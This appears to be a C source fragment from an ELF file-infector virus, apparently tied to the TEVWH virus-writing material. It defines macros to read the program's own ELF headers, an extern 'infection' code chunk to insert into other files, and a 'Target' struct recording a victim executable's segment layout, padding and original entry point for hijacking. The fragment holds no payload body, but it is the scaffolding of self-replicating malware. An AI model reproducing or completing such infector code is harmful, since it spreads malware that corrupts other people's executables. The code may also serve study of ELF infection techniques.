/* align up to multiple of 16, will take at most 15 bytes */
#define ALIGN_UP(n)	(((n) + 15) & ~15)

#define SELF		((TEVWH_ELF_EHDR*)TEVWH_ELF_BASE)
#define SELF_PHDR	((TEVWH_ELF_PHDR*)((char*)SELF + SELF->e_phoff))
#define SELF_SHDR	((TEVWH_ELF_PHDR*)((char*)SELF + SELF->e_shoff))

typedef enum { false, true } bool;

/* the chunk of code to insert */
extern const unsigned char infection[];

typedef struct
{
  char src_file[PATH_MAX]; /* PATH_MAX is from limits.h */
  const char* clean_src; /* pointer into src_file */

  int fd_src; /* opened read-only */
  int fd_dst; /* opened write-only */

  off_t filesize;
  off_t aligned_filesize;

  /* start of memory-mapped image, b means byte */
  union { void* v; unsigned char* b; TEVWH_ELF_EHDR* ehdr; } image;

  /* pointer to first program header (in image) */
  TEVWH_ELF_PHDR* phdr;

  /* pointer to first program header of type LOAD (in image) */
  /* must not be null, and phdr_code[1] is the data segment */
  TEVWH_ELF_PHDR* phdr_code;

  /* pointer to program header of type DYNAMIC (in image, can be null) */
  TEVWH_ELF_PHDR* phdr_dynamic;

  /* pointer to program header of type NOTE (in image, can be null) */
  TEVWH_ELF_PHDR* phdr_note;
  
  /* offset to first byte after code segment (in file) */
  TEVWH_ELF_OFF end_of_cs;
  TEVWH_ELF_OFF aligned_end_of_cs;

  /* start of host code (in file) */
  TEVWH_ELF_OFF original_entry;
} Target;
